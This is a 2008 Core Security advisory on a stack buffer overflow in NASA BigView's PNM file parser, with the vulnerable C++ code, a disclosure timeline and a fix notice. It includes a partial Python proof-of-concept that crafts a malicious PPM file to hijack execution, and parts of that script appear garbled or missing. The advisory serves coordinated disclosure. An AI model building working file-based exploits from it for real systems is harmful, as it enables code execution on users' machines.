NASA BigView Stack Buffer Overflow

NASA BigView Stack Buffer Overflow

Core Security Technologies - CoreLabs Advisory

Advisory Information

Title: NASA BigView Stack Buffer Overflow
Advisory ID: CORE-2008-0425
Advisory URL:
Date published: 2008-06-04
Date of last update: 2008-06-03
Vendors contacted: NASA Ames Research Center
Release mode: Coordinated release

Vulnerability Information

Class: Stack Overflow
Remotely Exploitable: Yes (client side)
Locally Exploitable: No
Bugtraq Name: 29517
CVE Name: CVE-2008-2542

Vulnerability Description

NASA BigView [1]
allows for interactive panning and zooming of images of arbitrary size on desktop PCs running Linux.
Using this software, one can explore (on relatively modest machines) images such as the Mars
Orbiter Camera mosaic [92160x33280 pixels].

The BigView package suffers from a stack buffer overflow when parsing specially
crafted (invalid) PNM input files. If successful, a malicious third party could trigger
execution of arbitrary code within the context of the application, or otherwise crash the
whole application. The vulnerability is caused due to the BigView package not properly checking
the line length of the ascii PNM input files before copying it on a stack buffer.
This can be exploited to get arbitrary code execution by opening a specially crafted file.

Exploitation of the PNM overflow problem requires the user to explicitly open a malicious file.
The user should refrain from opening files from untrusted third parties or accessing untrusted
Web sites until the patch is applied.

Vulnerable packages

  • BigView revision 1.8
  • Older BigView versions could be affected too, but they were not tested.

Non-vulnerable packages

  • Available through BigView website (since June 2nd 2008, see below).

Vendor Information, Solutions and Workarounds

The NASA BigView team has published a new version fixing this vulnerability.
The tarball is available on BigView's website:


This vulnerability was discovered and researched by Alfredo Ortega,
from CORE IMPACT's Exploit Writing Team (EWT), Core Security Technologies.

Technical Description / Proof of Concept Code

The BigView package suffers from a stack buffer overflow when parsing specially
crafted (invalid) PNM input files. If successful, a malicious third party could trigger
execution of arbitrary code within the context of the application, or otherwise crash the
whole application.

The vulnerability resides in the following code at Ppm/ppm.C.
Here, the function getline() reads data from a file into a buffer.
This is the complete function:

418 static void getline(int fin, char* lineBuf, int len)
419 {
420   bool done=false;
421   int index=0;
422   lineBuf[index]=' ';
423   while(! done){
424     lineBuf[index] = getOneChar(fin);
425     if( lineBuf[index]==10 ) {
426       lineBuf[index]=0;
427       done=true;
428     }
429     ++index;
430   }
431   lineBuf[index]=0;
432 }

Clearly the function requires the length of the destination buffer, but it is never
used internally. This function is used on the PPM::ppmHeader()
function, to read the header of the PPM file.

56  PPM::ppmHeader(string filename, PPM::Format* format,
57                 int* cpp, int* bpc,
58                 int* sizeX, int* sizeY,
59                 int* imageOffset)
60  {
61    std::ostringstream err;
62    char magic[3],lineBuf[512],junk;
63    int res,max;
115   while( junk == '#' ){
116     getline(fin,lineBuf,512);
117     cout << "Comment:"<<lineBuf<<":"<<endl;
118     junk = getOneChar(fin);
119   }

Here, the lineBuf buffer is allocated on the stack,
with a size of 512 bytes. If the PPM contains a line longer than 512 bytes on the
header, a buffer overflow will ensue.

The following proof of concept is a python script that creates a PNM file that triggers
the overflow and jumps to an arbitrary position (0x41414141 on the PoC) when loaded
with BigView compiled on Ubuntu 6.06 LTS.

## BigView exploit
## Alfredo Ortega - Core Security Exploit Writers Team (EWT)
## Works against BigView "browse" revision 1.8 compiled on ubuntu 6.06 Desktop i386

import struct
w = open("crash.ppm","wb")
# This exploit is not trivial, because the function PPM::ppmHeader() doesn't return inmmediately, and we must modify internal variables to cause an overwrite of a C++ string destructor executed at the end of the function to gain control of EIP
# PS.: Congrats for the Phoenix mars Lander!
for i in range(7):

#The address of the destructor is hard-coded. Sorry but this is only a PoC!
destination = 0x0805b294 # destructor
value = 0x41414141 #address to jump to
w.write(struct.pack("<L",destination)) # destination

%d 300
""" % value)

Report Timeline

  • 2008-04-24: Initial contact email sent by Core to BigView team setting the estimated publication date of the advisory to May 19th.
  • 2008-04-28: Vendor acknowledges the email notification.
  • 2008-04-30: Core sends the advisory draft to BigView support team. No reply received.
  • 2008-05-12: New email sent to BigView asking for a response. No reply received.
  • 2008-05-15: New email sent to BigView asking for a response.
  • 2008-05-15: BigView support team informs us that a new patched version is ready, but is not yet available via BigView webpage.
  • 2008-05-19: Core does not release the advisory (as planned).
  • 2008-05-19: New email sent to BigView team asking if the fixed version is available to the users.
  • 2008-05-26: New email sent to BigView team, refreshing the communications that took place, and asking for an answer.
  • 2008-06-02: Vendor responds that a tarball with fixes has been published on BigView's website.
  • 2008-06-03: Core sends the final version of the advisory to the BigView team.
  • 2008-06-04: CORE-2008-0425 advisory is published.



About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs
and requirements for information security technologies. We conduct our research in several important areas
of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing,
and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions
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About Core Security Technologies

Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide
develop and maintain a proactive process for securing their networks. The company's flagship product,
CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing.
CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed.
It enables organizations to determine if current security investments are detecting and preventing attacks.
Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration
testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies
can be reached at 617-399-6980 or on the Web at


The contents of this advisory are copyright (c) 2008 Core Security Technologies and (c) 2008 CoreLabs,
and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.


This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is
available for download at /legacy/files/attachments/core_security_advisories.asc.

Locally Exploitable: 
Remotely Exploitable: 
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